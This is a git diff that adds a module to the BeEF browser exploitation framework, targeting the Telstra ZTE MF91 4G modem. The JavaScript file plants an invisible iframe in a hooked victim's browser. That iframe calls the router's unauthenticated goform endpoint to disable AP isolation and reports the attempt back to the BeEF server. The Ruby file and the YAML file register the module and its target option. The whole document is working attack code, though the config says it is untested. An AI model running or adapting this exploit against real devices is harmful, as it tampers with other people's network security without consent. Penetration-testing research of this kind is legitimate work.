diff --git a/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/command.js b/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/command.js
new file mode 100644
index 000000000..dbdf8cf16
--- /dev/null
+++ b/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/command.js
@@ -0,0 +1,22 @@
+//
+// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+ var rhost = '<%= @rhost %>';
+ var timeout = 15;
+
+ var telstra_zte_mf91_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
+ telstra_zte_mf91_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+'/goform/wlan_set_basic_sap_profile?=DISABLE');
+
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
+
+ cleanup = function() {
+ document.body.removeChild(telstra_zte_mf91_iframe_<%= @command_id %>);
+ }
+ setTimeout("cleanup()", timeout*1000);
+
+});
+
diff --git a/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/config.yaml b/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/config.yaml
new file mode 100644
index 000000000..42405f0ed
--- /dev/null
+++ b/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/config.yaml
@@ -0,0 +1,19 @@
+#
+# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+# References:
+# http://www.sw1tch.net/blog/pwning-telstras-zte-mf91-4g-modem
+# http://www.zte.com.au/downloads/manuals/MF91_Help.pdf
+#
+beef:
+ module:
+ telstra_zte_mf91_disable_ap_isolation:
+ enable: true
+ category: ["Exploits", "Router"]
+ name: "Telstra ZTE MF91 Disable AP Isolation"
+ description: "Attempts to disable AP isolation mode on a Telstra ZTE MF91 Pre-paid 4G modem.
The ZTE MF91 reportedly does not require authentication to disable AP isolation mode.
This module has not been tested."
+ authors: ["sw1tch"]
+ target:
+ working: ["ALL"]
diff --git a/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/module.rb b/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/module.rb
new file mode 100644
index 000000000..4e5704b2c
--- /dev/null
+++ b/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/module.rb
@@ -0,0 +1,18 @@
+#
+# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Telstra_zte_mf91_disable_ap_isolation < BeEF::Core::Command
+
+ def self.options
+ return [
+ {'name' => 'rhost', 'ui_label' => 'Target', 'value' => 'telstra.wifi.4g'},
+ ]
+ end
+
+ def post_execute
+ save({'result' => @datastore['result']})
+ end
+
+end